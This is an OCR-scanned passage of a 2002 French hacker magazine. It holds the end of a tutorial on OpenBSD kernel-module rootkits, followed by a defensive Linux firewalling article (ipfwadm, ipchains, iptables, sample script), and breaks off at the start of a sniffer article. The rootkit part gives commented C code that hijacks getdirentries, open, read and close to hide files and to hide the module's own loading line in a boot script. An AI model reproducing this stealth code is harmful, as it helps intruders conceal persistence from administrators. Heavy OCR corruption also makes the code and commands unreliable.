
forG; (*str1) && (("str1) == (*str2)); st slr2++);
}r'emm t‘_*slr-n 70:1;

/* Cache les fichiers commencant par MAGIC PREFIX */
I{ntuur_gniﬂia*nnlrl&s(slnsm proc “p, void *v, register I *retval)

SIPUct 8yS_yetdirentris_args *args;
sleuct dieenl™ curdir;
SIPUCt dirent™ nextdir:
int result, i, oldrecten;

args = (Struct sys_getdirentries_args*;
Pesull = old_geldirentries( v rotval), /* appel de I'ancien syseall */

/ suppression des entrée commengant par MAGIC_PREFIX ¥
\ ?{(I‘Eﬂllllb-:l]) && (("retval) > 0)

[00(i=0; i<("metval); i += curdin->d_reelen) /* on parcours |a lste */
{ /" relouenie ¥/
clrdie = (struet dirgnt*)(nt(args->bu) + i);
If(my_strsubcmp(MAGIC_PREFIX, curdir->t_name))

/* commence par MAGIC_PREFIX */
“retval -= curdir->1_peclen;
netdir = (struct dirent*)((inf)args->huf) + I+ curdir->1_reclen);
/* affacement e |'enregistrement */
hcopy((void*Ynexidin, (void)curdie (*retval)-):
i = oldreclen; :
GUrdie = (struel dirent”){(nt)args->huf) + );

Oldreclen = curdir->(_eclen;
}

}
}mwrn result;

/* Notrg handiep */

I{nl fiir_handlen(steuct lkm_takile *kmig, int em)
%wimn(umn]

case LKM_E_LOAD:
/* code d'initialisation */
0ld_petdireniries = sysent[SYS _geldireniries].sy call
Syseni[§YS  geldirentries].sy_call = our_getdirentries; /* déleurnement
(hu yscall */ '
ircal:

case LKM_E UNLOAD:

& ;

\ . FEVRIER-MARS 2002
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/* tole e destruction */ ;
:vseal[ﬂ\‘s_ualnmnmies].sv_uali = (Id_getdientries; /* ancien Syscall */
. hireak;
tlefault;
hreak:

}
return 0;
}

/* Point d'entrée */
I{'ﬂ Hm_llil‘lsll‘lfﬂi lkm_taiale *Ikrmip, int cmd, int ver)

DISPATCH(knmip, cmd, ver dir_bandlee dir_handier lkm_nofunc);

/* Tin tu code */

[-Ihm_dir-] -

L puis I8 petit lest ;

bash-2.054 Is

Jauthority  login GNUslep lkm_ino
Jiash_history . mailrg hin [Kmibd.0
L8fine Jirafile log

v Tosts Kirgce.aul

JIV_ coucon  .ssh [km_hde

v ess init lkm flo

fov_ ess?. . initeg. km_ ting

IeshZ 055 ee-0 KERNEL /sys ¢ i dinc |
tash-2.05+ modioad -¢ lm_dir -0 /tmp/tmp.o m_dio

Morlule loaded as 10 0

liash-2.05% Is ek

ml% J'Ilﬂsts E#; g lkmid.o
gl _history .88 te.0

a8ire it lkm_hi.c

Jogin Xinig -~ [km_biko
mailes - GNUstep -k _linc

qrofie . bin fkm_diro

Hash 2,05 modunfoad - 0

Donc, onvoit bien que les fichiers commengant par .hzv__ ne sont
plusistés. Ce qui permet facilement dé mettre des fichiers cachés...

8.3 Cacher certaines lignes d'un fichier

Cacher certaines lignes d'un fichier, pour quoi faire me direz-vous
? Etant donné que I'on peut déja cacher nos fichiers. La réponse
est simple : cacher des modifications faites dans des scripts exis-
tants !! Cela est trés pratique en I'occurence pour cacher le loa-
ding de notre lkm (le fichier sera lu, le Ikm loade et ensuite, la
ligne loadant le [km sera invisible). Pour cela, il nous faut évi
demment détourner lesyscall read, maiségalement open pour connaitre
le fichier 4 cacher, et close pour savoir quand le fichier est fermé.
Le principe cette fois-ci est simple : on regarde si la ligne demandée
est la notre (avec une comparaison de chaine) dans le fichier qui nous
intéresse (dontonauraavant tout marqué danslesyscall open)etonsup-
prime la lignes'il s'agit de la bonne. [1 faudra peut-étre refaire un
,appel a I'ancien syscall s'il s'agit exclusivement de notre ligne.

Voila le code commenté réalisant ceci :
[+ Ikm_file.c +] :

/* Includes */

Hinclude <sys/param.h>

Hinclude <sys/systm.h>

Hinclude <sys/mbut.fi>

Hinclude <sys/exec.i>

Hinclude <sys/conl.h>

Hinchude <sys/Mm.h>

Hinclude <sys/proc.fi>

finclude <sys/syscall.h>
struct sys_read_args {
it

vl ol
Sie_{ - nbyle:

8truct sys_open_args {
- chap * path;
int flags;
int mode;

b
siruct 8ys_close_args {
It fe;

[}

/> cunstantes */

/*ligne & cacher */

#efine MAGIC__LINE "/shin/modlead -0 /tmp/k.0 -2 lkm_file /etc/Tkm_dino"
/* fichier ou e trouve I ligne 4 cacher */

#lefine MAGIC_FILE ~ "/glcy/pe.securelovel”

/* numera ol ajouter Ia ligne */

fHeline MAGIC WHERE 5

/” nomrg te file deseriptors */

Hilefine MAX_FD_TABSIZE 10

/" \ahleau des file descriptors */
inlt fd_(ab[Z)[MAX_FD_TABSIZE]:
int 1d_count: :

/* déclaralions des fonlions */
int our_open(Steuct prac *p, veid *v, egister 1 *petval);
int(*old_bpen)struct proc *p, voil *v, register _t "etval);

* it our_read(struct proc *p, void *v, register_t *petval)
Ant (old_read)(struct proc *p, void *v, Pegister t *petval);

int our_close(struct proc *p, vaid *v, register 1 *petval);
int ("oldl_close)struct proc *p, void *v, register 1 *pelval);
int find_f(int, int);

void del _fiint, int);

int del__substring(int, char*, char*);

int my_strsubcmp(char™, char*):

/* i@claration du lkm =/
MOD_MISC("lkm_file");

/* 103 fonctions */
/™ IPouve un file desceiptor dang fi_tah */
i{m find_fdCint pid, int fd)

inti;
{or(i=0; i<Id_count; {++)
i1 _tabr 1301 == Hi) && (dl_tab[0]0i]) == pif))
pelurn |
relurn -1;

/* supprime un file deseriptor de il tah */
Void del_fdCind pid, intf)

{
int i = find_fl(pid, fa);
¥ﬂ>=ﬂl

fl_count-;
!{ur(h:i; k<fd_count; k++—+)
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fu_tab[0][K] = f_Iab[0](k-+1];
I}l]_tﬂll[l JIK] = 1ol_tab 1][k=+1];

}
}

/* Compare deux chafnes de donnges et retourne 1 i la premidee est un prélixe
f fle Ia deuxiéme
int my_stesubcmp(ehar *strl, char *str2)

{
forG (*st1). && ((*ste1) == (“str2)); 8l 1++, str2-++);
}FE[III'J}(*SIPI]H 'k

/* lel_substring : supprime une sous-chaine d*un buffer */
I{nmel_sulrsu'imﬁnl Size, char *ul, char *Substr)

inlt i, ret = size;

int [en = strlen(substr);

int I; char *curhuf; char *copybut:
!{ﬂl‘[l:[l; i<net: i++)

earfiuf = buf+
II[nw swsunnmu(suns!r' I}

FEI = o
copybuf = bt -1+ len;
ht:ﬂmr((vmd')nuuwaur ('mltl*}uurhul pet-1);

1
}- 1glirn rel;

/7 apen : rajoule les fite llnwimnr LOPPespondant au fichien */
i{ulnm' ' Open(struct proc p, void ™v, register 1 rnma!)

SIPUC 8YS._Ojen_args *args=v;
intpesuit = old_open(, v retval;
l{l((r&sull-;—:[ﬂ &6 (Cretval)>=0)

il(stremp(args->path, MAGIC FILE) && (i comt < MAX_FD_TABSIZE)
£/ 11 8"agi du fichier qui nous inleresse =/

/* on stocke Ie file descriptor correspondant */

[l_tabO]i_count] = p->p_pik;

fl_tabCTI00_count]) = (“petval);

fil__count++

}

return resull
}
/* close : supprime o3 file descriptor correspondant au fichier */
IEH our _close(struct proc *p, void *v, register 1 *petval)

siruct sys_close_arys *args =v;

flel_fd(p->p_pid, args->fl);
: peturn old_elose(n, v, retval);

/* neall ; empeche Ia lecture de notre chaine */
i{nt our_read(struct proc “p, void *v, register t *retval)

siruct 8ys_read args “args =V,
int ret = old_read(n, v, retval);

I((ret==0) & ((“retval)>0) & (iind_fd(p->p_pid, args->hi)>=0))
{ /% i1's"agit d'un de nos file descripiors */

“relval = del_subiring(*retval, args->Huf, MAGIC LIIHE)

/* on @ supprimé toute 1a chaing, dong on réappel le syscall =/
}Il{( retvall==0) return our_pead(p,v,retval;

relurn et
}

/* Notre handler */
int fife__handler(struct lkm_tahie *lkmp, m! om)
{

Swilchcma)
{

case LKM_E LOAD:
/* coue d'initialisation */
0lt_open = sysent[SYS_open).sy call;
old_read = sysent[SYS_read).sy call:
old_close = sysem[SYS_close].sy_call,
Sysent[SYS_open].sy_call = our_open; /* détournement des syscalls */
sysent[SYS_pead] sy call =our_read; -
sysent[SYS_close].sy_call =our_close;
fipea;
caseLKM_E UNLOAD:
/* corle tle destruction */ \
SySem[SYS_open].sy_call = old_open; /* anciens syscalls */
Sysent[SYS_read].sy_call = ald._read;
sysent[SYS_close].sy_call = old_glose;
" firgak;
efault:
fineak;
}
“nlurn 0;
}

/* Point 'entrée */
int fkm_fle(steuct lkm_tahie *Nmtp, int em, int ver)
{

DISPATCH(kmt, cml, ver, file_handler, file_handler Ikm_nofunc);

}
/* fin tu code */
[- lkm_file.c -]

Nota Bene: il faudrait, pour quececodesoit parfait, détourner éga-
lement le syscall write pour rajouter automatiquement notre
ligne quand le fichier est modifié.

6. To come...

La prochaine fois nous verrons comment I'on peut cacher un pro-
cessus ou une connexion réseau dont le listing se fait contraire-«
ment & linux, par une lecture directe dans /dev/kmem.

7. Documentations diverses

[1] OpenBSD Loadable Kernel Modules - Peter War
ner (peter_a_werner@yahoo.com)

[2] Attacking FreeBSD with Kernel Modules - prag-
matic / THC

(nttp://www.thehackerschoice.com)

[3] Fun and Games with FreeBSD Kernel Modules -

Stephanie Wehner
(htip://www.r4k.net)
{ XXNK
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FIREWALLING FOR FUN AND PROFIT

Un firewall est souvent considéré, 4 tort, comme le rempart ultime contre les pirates. Cest faux, et les gens qui
vous vendent un firewall en vous disant qu’avec lui, vous serez protégés contre tout et n'importe quoi sont exacte-
ment comme ceux qui vous promettent que la derniére version d'un antivirus vous protége contre toute menace ;
des charlatans. Cela it, il est exact quun firewall peut parfois s'avérer utile pour se protéger, autant des agressions

extérieures qu'intérieures, Eh oui, rappelez vous: il n'existe

potentiels...

Toute ressemblance avec le titre d'un article trés connu sur les
buffer overflow est in yrai coup de bol.

Nous allons nous intéresser ici aux firewalls sous linux, et, plus
particuliérement, aux firewalls inclus dans le kernel. En effet, ils
ne présentent que des avantages, et aucuns inconvénients : ils
sontinclusau plusbas niveau dusystéme; leurssourcessont ouvertes,
cequipermetuncontroleau niveauséeuritaire. Ainsi, onest sir gue
l'outil que I'on a choisi pour se protéger n'est pas celui qui va
servir au pirate a nous rooter. On a ainsi vu, sous windows, des
firewallsbackdoores, voir méme des portscanners backdoores, comme
le célébre 7th sphere portscan.

Siil n'existe pas, a priori, de bonne méthode de firewalling, il en

em&lec‘n-reva‘nche.d_t}scatastrqphlques. Nousallons tacher de lesévi-

ter autant que possible, tout en vous montrant les "bons réflexes”
A aVoir,

Dans un premier temps, nous allons nous pencher sur les diffé-
rentes archifectures de firewall, avant de voir I'implémentation
au niveau des kernels 2.0, 2.2 et 2.4.

Cet article ne comporte a priori qu'un seul pré-requis: étre root
sur une box tournant sur un nunux pas trop trop vieux (c'est a
dire postérieur a 1998), et encore, c'est juste pour les travaux
pratiques. '

I Architectures firewall.

Dans un premier temps, il va nous falloir selectionner une archi-
tecture de firewalling, Celle-ci sera le pilier de toute I'architectu-
redenotreréseaulocal. Tout dépendra bienévidemment des moyens
anotre disposition et de la taille du réseau que nous avons a
notre disposition. Les exemples que je vais vous proposer ici vous
seront presentés dans l'ordre d’efficacité.

- Firpwall basic :

Comme montre sur la figure Im ce type de firewall est la base de
tout firewaling. Uné simple machine faisant office de firewall
fait barrage entre un réseau non sfir, en général le net, et un
. réseau local, C'est une solution peu cofiteuse dans laquelle la
machine pare-feu effectue toutes les fonctions de firewalling,

pas de gentils utilisateurs, il n’existe que des desastres

- Lhilte de défiance : : 3
[Is'agitenfaitd'unemachinesituéeentre le réseaunonsure et lefire-
wall,commemontréfigure 2. Lefirewallest configuré de telle manie-
re que toutes les connections, tant entrantes que sortantes,
doivent passer par lui. Il est appelé hote de défiance, car il est
placésurleréseaunonsureen degd du firewall, Celui-cine peut done
pasleprotéger. Ils'agira toujoursd'une machineconfiguréea lafois
le plus légerement et de la maniére la plus secure. Bien évidem=
ment, on ne doit placer qu'une confiance trés limitée dans les
hotes protéges par le firewall. Cela dit, en tant qu'administra-
teur systéme, j'ai rayé les termes comme confiance et tous ses
synonymes de mon vocabulaire.

- La zone démilitarisée (ou DMZ pour laire élite).
Cette configuration comporte elle aussi un hote de défiance, mis

apart qu'il est placé a P'intérieur méme du firewall. Simplement,

il est sur son propre sous réseau, ce qui fait que le firewall com-
porte trois cartes réseau. Bien entendu, il n'est pas plus question
d'avoir confiance dansles hotesse trouvant derriére lefirewall, Cette
configuration est parfaite pour placer un fip public ou encore un
serveur web tout en gardant notre réseau local & I'abris.




- Firgwall double.

Dans cetteconfiguration, le réseau local estisoledel*hote de défian-
ce par un second firewall, ou firewall interne. Les paquets
devront ici traverser les deux firewalls et I’hdte de défiance avant
de passer du réseau local au net et vice versa.

Dans cesexemples, nousavons étudié une situation classique, asavoir
l'utilisation d'un firewall pour protéger un réseau prive d'un
réseau publlc Mais ces 1mplémentdtmns peuvent aussi servir a
proteger diverssousréseaux d'un méme réseau local les uns desautres,
dans le cas d'un réseau d'entreprise ou d’université.

il- impiémentations et exemples.

Dans cette seconde partie, nous allons nous pencher tout parti-
culierement sur les firewalls contenus dans les kernel linux, ver-
sion 2.0, 2.2 et 2.4. Le kerneel 2.5, actuellement en cours de
développement propose lui aussi un nouveau type de firewall,

mais son développement n'est pas assez avancé pour qu'il soit:

possible d’écrire quoi que ce soit dessus sans que cela soit obsolé-
te avant méme la parution du papier.

- Pourconfigurer unfirewallsous linux, il faut, dansun premier temps,
installer le support du firewalling dans le noyau.

Les kernels antérieurs 4 la version 2.2 utilisent l'utilitaire ipf- -

wadm; les kernels de la génération 2.2 utilisent ipchains. A partir
dela version 2.3.15 est apparu netfilter, aujourd'hui utilisé dans
les kernel de la famille des 2.4. Ce dernier utilitaire a vu le " com-
plete redefinition " de la gestion des paquets au sein du kernel
linux, et son utilisation est des plus intéressantes. Il supporte la
syntaxeipchainsetipfvadm, ceqmpermetdchdcundegarderldsyn
taxe qui lui plait le plus, ou avec laquelle il se sent le plus a 'aise.

Tlexistedeux types de politique de firewalling; la premiére, etla pire,
consiste & tout autoriser et a n'interdire que ce que I'on veut
interdire. C'est une politique de feignasse; elle est donc catastro-
phique. La seconde consiste 4 tout bloquer et & ne laisser passer
que les paquets autorisés. Ce sera notre politique par défaut.

- Gonfiguration du kernel pour fe firewalling.

Le kernel linux d'ait étre configuré correctement pour supporter
leﬁrewalmg IIn'yariend' aulreafdlrequedese]ecuonnerIesoptions
llECESSaII'ES

Pour un kernel 2.2, les options a cocher sont:

Networking options >
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] Netwark firewalls

1 TCP/IP networking
1P Nirgwalling

11P: firewall packet lopging

Pour un kernel 2.4:

Networking options --->
[ * 1 Network packet fitering (replaces ichaing).
[P Netflter conliguration >

< M > Userspace quetieing via NETLINK (EXPERIMENTAL)
< M > IP tables suppoet (required for {iltering/masg/NAT)
< M > Limit match support

< M > MAG atress malch support

<M > Netillter MARK match Support

< M= T0S match Suppont

<M > Connection state match support ;

< M > Unclean Match Support (EXPERIMENTAL)

< M > Ovier match support (EXPERIMENTAL)

< M > Packe! filtering

< W > REJECT targel support

< M > MIRDR target support

<M > Packet mangling

<M > TOS target support

<M > MARK target support
<M >LOG target support

< M > ipchains (2.2 style) support
<M > ipfwadm (2.0 style) support

- Utilisation d'ipfwatm
La prem1ere|mplemematmn de firewallssouslinux se trouvait dans
le kernel 1.1, 11 s'agissait du portage de ipfw, le firewall de bsd,
par Alan Cox.
Ici, nous allons ])dl‘ll[‘ du principe que nous avons a notre dispo-
sition un réseau local sous linux, utilisant une machine firewall
sous linux pour se connecter au net. Nous désirons que nos utili-
sateurs puissent accéder au web, mais tout en bloquant tout
autre trafic. Nous allons créer une régle de forwarding pour per-
mettre aux utilisateurs d’émettre des données via la port 80, et
d'en recevoir la réponse.
Notre réseau est un réseau de class C, et son adresseest 171.15.17.0.

7t iphovadm - -f

# Infwradm -F -P deny

## Infwadm - -3 aceept -P e -§ 171. IEI?M# 90/080
## iphwaim -F -a accept P tep -8 0/0 80 -D 171.15.17.0/24

L'option -F indique qu'il s'agit d'une regle de forwarding.

La premiére ligne indique a ipfwadm de vider sa mémoire de
toutes les régles précedemment établies. Cela nous permet de tra-
vailler en terrain connu.

La seconde ligne indigue notre ]Jolltique par [iefdut Elle est tres
importante car elle va définir ce qui va arriver & tous les paquets
qui ne matchent pas lesrégles d'exception. Ici, bien entendu,
nous posons une pollthue de deny sur tout.

Les deux lignes suivantes sont celles qui 1mp]cmentcm notre
politique. Il existe une option, -b, qui permet a une régle de
devenir bidirectionnelle. Nos deux Iignes deviendraient alors:

# ipfwaim -F -a aceept -P tep - 171.15.17.0/24 -D 0/0 B0 -b

- Findique une régle de fowarding.
-aaccepl: mdzque que les paquets correspondant & cette reglc
sont acceptes

L]
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- P tep indique que cette régle vaut pour le protocole tep, a l'op-
posé d'UDP ou d'1CMP.
-S 171.15.17.0/24 indique que l'adresse d'émission doit avoir 24

bits en correspondance avec la régle. Iei, il s'agit de notre réseau,

- D 0/0 80 signifie que 'adresse de destination peut étre n'impor-
te laquelle pourvu que le port soit 80. :

Notrepolitique contient une grosse faille de séeu: n'importe quipeut
se connecter au port 80 depuis I'extérieur et ainsi nous balancer
un gros SYN flooding. Nous allons corriger ¢a avec la chiaine :

## [ilviad -F -a deny -P 1o -5 0/0 800 171.15.17.0/24

Pour lister les régles actuellement en cours ; .

A infwatm -F -|

Utilisation d'ipchains. :

Lacréation d'ipehains a déroulé de la demande de plus en plus
forte des utilisateurs d'un outils plus simple et plus conyivial
qu'ipfwadm. De plus, ce dernier pouvait se révéler totalement

inefficace dans certaines situations délicates. Ipchains a ainsi
introduit une nouvelle syntaxe plus claire :

-A chaine : ;

Ajoute une régle 4 la fin de toutes eelles existant déjd. Si jamais
un hostname est donné et qu'il correspond & plusieurs adresses
IP, alors, une régle sera créée pour chacune des adresses. ;

- chaine :

Insére une régle au début de la chaine. Une fois de plus, siun
hote correspond 4 plusieurs adresses IP, une régle sera ajoutée
pour chacune des [P

<D chaine’: : :
Efface une régle de la chaine actuelle i elle correspond aux spéci-
fications demandées. '

-l chaine, numero te regle. _
Cette option permet de retirer la régle spécifiée dans la chaine.
La spéeification commence & un, une fois n'est pas coutume.

N chalnie, numéra de régle

Remplace la régle indiquée dans la chaine par 1a nouvelle.

il

Permet de lister les regles d'une chaine.

-F chaine:

Remet la chaine spécifiée & zéro, o toutes les chaines si aucun
nom n'est indiqué, -

-N chaine;
Crée une nouvelle chaine avec Ie nom spécifié,

-P chaine politinue

Met en place la politique par défaut de la chaine spécifice. Les
politiques valides sont ACCEPT, DENY, REJECT, REDIR ou
RETURN. Lespolitiques ACCEPT, DENY et REJECT ontlaméme
spécification que sur n'importe quel utilitaire de firewaling.
Redir indique que le datagramme doit étre redirigé vers un autre
port du firewall,

. -Parametres des régles i'ipchains: \
-p [!]protocole: spécifie le protocole 4 laquelle la régle va corres-
pondre. Les protocoles valides sont tep, udp et icmp, ainsi que
all. Sile'!" est utilisé, il indique que la régle ne prends pas ce pro-
tocole en compte. .
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-8 [!Jadresse/mask [!Inort: :

Spécifie ['adresse IP source du datagramme dans la régle 4
prendre en compte. Tres utile pour empécher un emmerdeur de
revenir 4 la charge. L'adresse peut étre un nom de réseau, un nom
de domaine ou une adresse IP. Le port peut &tre soit un numéro
de port, soit une intervalle. Par exemple 21:23 indique que les
ports 21 a 23 compris seront pris en compte.

-1 [!Jadresse/mask [!Inort

Specifie l'adresse de destination et le port du datagramme corres-
pondant & la régle. La maniére d"utiliser ce paramétre est la
méme que pour ~§ :

-] cilile:
Cette option indique quelles mesures prendre quand la régle cor-

respond au datagramme regu, Les cibles valides sont ACCEPT,
DENY, REJECT, REDIR et REJECT.

-1 [1] interface; -

Spécifie l'interface sur laquelle s'applique la régle. Un + aprés le
nom du device indique tous les devices de ce type. Par exemple
eth+iindique toutes les cartes ethernet,

Ainsi, avec ipchains, notre exemple de tout 4 I'heure deviendra :
# inchains -F forward.

# pchains -p forward DENY

 Inchiaing -A forward -5 0/0 80 -0 171.15.17.0/24 41 tep -y -| DENY

# inchiaing -A forward -5 171.16.17.0/24 -1 0/0 80 -p tep | AGCEPT

La premiére régle remet toutes les régles de forwarding a zéro.
Lasecondeindique DENY commepolitique deforwarding par défaut.
La troisieme indique DENY sur tous les paquets provenant du
port 80 et ayant le bitSYN a I,

* Laderniére, enfin, accepte leforwardingsur leport 80 en fluxentrant

autant qu'en flux sortant.

- Utilisation d'iptables.

Iptables est ['utilitaire de netfilter pour le firewalling. I1 est
extremement flexible; ainsi, il est totalement compatible avec les
anciennes régles ipchains et ipfwadm., Ainsi, pas la peine de refai-
re ses seripts de 2000 lignes quand on change de kernel. Pour
cela, il fautinstaller lesmodules ipfwadm.o et ipchains.o de la manie-
re suivante ; r

4 modprobre Infwadm

# modprobe nchaing

Avant de pouvoir utiliser iptables, il faut d'abord charger le
module correspondant en mémoire :
# modgrobe i_lables

:La commande iptables est utilisée tant pour mettre en place le

filtragede paquets quepour leNAT (Network Adresse Translation).
Pour clarifier les choses, il existe ainsi deux chaines de reégles,
nommées filter et nat. Les chaines INPUT et FORWARD sont
utilisées par la table filter; les chaines PREROUTING et POST-
ROUTING sont utilisées par la table NAT. Enfin. La régle OUT-
PUT est utilisée par les deux.

Je ne m’intéresserai ici qu'a la table filter, correspondant au fil-
trage de paquets. En effet, le NAT n'est pas ma préoccupation
dans cet article.

Les commandes d'iptables ;
-A chaine:

Ajoute une régle a la fin de la chaine indiquée. Si un nom d’héte
est donné et qu'il correspond & plusieurs adresses ip, alors une

O
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régle est eréée pour chacun des ecas.

- chaine numéro de régle: :

Insere une ou plusieurs régles au début de la chaine passée en
paramétre. Une fois de plus, si vous ou vos collaborateurs étiez
captureés ou tués, le département d’etat.... etc etc efc.

-D chiaine :
Supprime la régle cor 1espondaute de la chaines.

-D chaine, numéro de regle.
Cette option permet de retirer la régle spécifiée dans la chaine,
La spécification commence & un, une fois n'est pas confume.

-R chaing, numéro de regle
Remplace la régle indiquée dans la chaine par la nouvelle.

-l

Permet de lister les regles d'une chaine.

-F chaine ;
Remets la chaine spécifiée & zéro, ou toutes les chaines si aucun
nom n'est indiqué.

-N chaine :
Crée une nouvelle chaine avec le nom spécifié.

-P chaine politique

Mets en place la politique par défaut de la chaine spécifiee. Les
politiques valides sont ACCEPT, DROP. QUEUE, ou RETURN.
Accept permet au datagramme de passer tandis que DROP le

rejette tout simplement.

- Paramétres des regles i'ipiables:

-p[!|protocole: spécifiele protocole auquel la régle vacorrespondre.
Les protocoles valides sont tcp, udp et icmp, ainsi que all. Si le '!
estutilisé, il indigue que larégle ne prends pasce protocole en comp-
te.

-5 [!]adresse/mash

Speécifie l'adresse 1P source du datagramme dans la régle a
prendre en compte. Trés utile pour empécher un emmerdeur de
revenir  la charge. L'adresse peut étre un nom de réseau, un nom
de domaine ou une adresse IP.

- []adresse/mask

Spécifie I'adresse de destination et le port du datagramme corres-
pondant 4 la régle. La maniére d'utiliser ce paramétre est la
méme que pour -§

-j cible :

Cette option indiqué quelles mesures prendre quand la régle cor-
respond au datagramme regu. Les cibles valides sont ACCEPT,
DENY, REJECT. REDIR et REJECT.

-i [!] interface :

Spécifie l'interface sur laquelle s'applique la régle. Un + aprés le
nom du device indique tous les devices de ce type. Par exemple
eth+ indique toutes les cartes ethernet.

-0 [1] interface :

Specifie I'interface a laquelle le paquet va étre transmis. La syn-
taxe est la méme que pour l'option -1,

Extensions TCP : elles s'utilisent avec les flags -m tep et -p tep.
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--8jort [1] port [port; pum
indique Ie ou les ports source que doit utiliser le datagramme
pour correspondre & la régle. Un'!" indique que le port ne doit
pas étre utilisé, Une tranche de ports peut aussi étre donnée
griice aux ":': 21:23 indique que les ports 21 a 23 correspondent
alaréple. .

--tiport [1] port [port:port]:

indique le ou les ports destination que doit utiliser le datagram-
me pour correspondre a larégle. Un'!" indique que le port ne
doit pas étre utilis¢. Une tranche de ports peut aussi étre donnée
grice aux ":'; 21:23 indique que les ports 21 a 23 correspondent
a la régle.

=-|cp-flag [!] mask
[ndique le flag du paquet correspondant 4 la régle mdzquee ils
peuvent étre SYN, ACK, FIN, RST, URG, PSH, ALL et NONE.
Ce sont des options trés avancées. :

Extentions UDP : elles s'utilisent avec les flags -m udp -p udp.

--gpiort [1] port [port:port]:
indique le ou les ports source que doit utiliser le datagramme
pour correspondre & la régle. Un"!" indique que le port ne doit
pasétreutilise. Une tranchede portspeut aussiétredonnge griceaux
':": 21:23 indique que les ports 21 a 23 correspondent a la régle.
llﬂﬂl‘i (1 port [port:port]:
indique le ou les ports destination que doit utiliser le ddel,rdm-
me pour correspondre a la régle. Un'"!" indique que le port ne doit
pasétreutilise. Une tranchede portspeut aussiétredonnée griceaux
"'+ 21:23 indique que les ports 21 a 23 correspondent & la régle.

Exemple concret :
Une fois de plus, nous reprenons notre exemple utilise plus haut.

* #modprabe ip_ tables

#iptahles -F forward

# iplables -P FORWARD DROP

#iptables -A FORWARD -m tep -p tep - 0/0 —sport 80 -0 171.15.17.0/24 —syn - DROP
# iptables -A FORWARD -m tep - tep -8 171.15.17.0/24 —sport 80 -1 0/0 | accept

# Iptables - FORWARD -m tcp -p tep - 171.15.17.0/24 —dport 80 -5 0/0 | AGCEPT

Dans un premier temps, nous avons charge le module ip_tables
en mémdire. A cet endroit, il me faut faire une petite dissgres-
sion: aujourd'hui, de trés nombreux rootkit utilisent des modules
kernel pour se dissimuler. Méme si un systeme compromis récla-
me une réinstallation d'urgence, il vaut micux, 4 mon avis, ne pas
faciliter la tiche du pirate en compilant notre noyau avec le sup-
port des modules. Aprés tout, sur un firewall, on ne change pas
le hardware si souvent que ¢a non ?

Notre seconde ligne remet & zéro toutes les régles de fowarding.
La troisieme indique que la politique par défaut des régles de
forwarding est le rejet.

Notre quatriéme ligne indique que les paquets venant sur le port
80 et ayant le bit SYN as | seront rejetés.

Nos deux dernieres lignes acceptent les paquets sur le port 80 en
entrée comme en sortie.

Conclusion: _
Voild. c'est tout pour cettefois. Soyeztoujours trésprudentsavecles régles
de firewall car elles peuvent parfois favoriser le pirate alors que ¢'est

-exactement le contraire qu'on leur demande. Et souvenez vous bien: le

seul serveur secure est celui que I'on débranche du réseau, dont on
balance Ia prise au feu et le disque dur dans la seine. Have fun :-)

H4




Le manuel de lizchers Voice hors série | n° 5

Appendice :

Un seript iptables générique. Ce seript correspond a la plupart
des situations que vous pourrez rencontrer. 11 est 4 lancer au
demarrage. Sous Slack, rajoutez les lignes suivantes dans
fete/re.d/rc.inet2, et copiez ce seript dans /ete/re.d/ re.firewall. N'ou-
bliez pas de changer les droits en exécution.

if [ -4 /ete/e.d/pe. firewall 1: then
Jete/vc./re direwall

echo ™ Starting firewalling”
il '

e, R RS e S S

#iting/sh
- # Section utilisateur: modifiez selon votre réseau et vos envies.
IPTABLES=Iplahlgs

PATH="/shin"

MYNET="171.15.17.0/24"

MYBCAST="171.15.17.255"

MYIFACE="eth0"

ANVADDR="0/0"
ANYDEV="eth1"

TOPIN="smiy, D3, Wi iy, e
TEPOUT="ST, 053, W, y, 4, s, iy

UOPIN="tomain”
Uﬂlﬂ;l:h"llnmnin“

CHAN=""
CHPITI="83 11"

# Fin de lasection ntilisateurs. On passe aux choses sérieuses.

# Remise ﬁ;zérq des regles.
SIPTABLES -F FORWARD

# On _h_loqije toul et.'méme le reste.
SIPTABLES -P FORWARD deny

# On bloque tous les paquets entrants.
SIPTABLES -A INPUT -1 SANYDEV 4 DROP .

# Ca c'est pour empécher I'lP spoofing

SIPTABLES -A FORWARD -5 SMYNET -i SANYDEV - DROP

# Et ca, c'est pour le smurfl

SIPTABLES A FORWARD -m multiport - icmp - SANYDEV - SMIYNET - DENY

# On accepte les paquets fragmentés.
SIPTABLES -A FORWARD - - ACCEPT

# On accepte tous les paquets TCP appartenant & une connexion
existante,

SIPATBLES -2 FORWARD -m multiport -p tcn -0 SMYNET —dports STCPIN ! -1cp-flag SYN<
ACK ACK -| ACCEPT

SIPATBLES -3 FORWARD -m multiport -p tcp - SMYNET —sports STOPIN ! -1t-flag SYN<
ACK ACK -] ACGEPT -
# Politiqued'acceptation de paquets TCP: seulement les portsauto-
riseés.

SIPTABLES -A FORWARD -m multiport -0 tep -1 SANYDEV - SMYNET STCPIN —syn-f ACCEPT

# Politique des sorties de paquets TCP, juste sur les ports auto-
risés.

SIPTABLES -A FORWARD -m multipor -p tep -1 SMYDEV -d SANYADDR —dports STCROUT
—$yn -] ACCEPT _

# Politique d'acceptation des paquets UDP entrants.

SII’ETIBlES -7 FORWARD -m multiport -p udp -1 SANVDEV - SMYNET —tponts SUDPIN -}
ACCEPT _

SEFTMI.EE -A FORWARD -m multiport -n udp -1 SANYDEV -3 SMYNET —ilports SUDPIN -}
ACCEPT

# Sortie des paquets UDP, - !
SIPTABLES -A FORWARD - mulipoel-rudg -1 SMYDEV-d SANYADDR —dports SUDPOUT - ACCEPT
SIPTABLES -A FORWARD-m multipor-f udg - SMYDEV - SANYADDR —ports SUDPOUT - ACEEPT

# Paquets ICMP entrants: on ne répond pas aux pings
SIPTABLES -A FORWARD -m multiport -p iomp -1 SANYDEV - SMYNET —dports SICMPIN -
DROP

# Paquets ICMP sortant: juste ce qu'il faut.
SIPTABLES -A FORWARD -m multipor - icmp | SMYDEV -d SANYADDR —dports *ICMPOUT
| AGCEPT :

# Clest fini pour cette fois.

# [l est 3 heures et demi du matin mais cet article est fini dans les
temps. '

# N'oubliez jamais: dormir, c'est tricher

S S e
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comment procravmer un SNIFFER 7

COMPRENDRE LE PRINCIPE

Et hien, tout d’abord, honjour a tous Lles lecteurs 8'Hackerz Voice. Suite aux nombreux mails d’encourage-
ment que j'ai regus, je continue ma série d'articles sur la prog réseau en C. :

Cette fois-ci, nous allons nous pencher sur la programmation a'un sniffer de base. Je tiens a signaler gue
tout ce que je développe ici n'est que La hase de la programmation réseau, c’est a vous apres d’améliorer ce
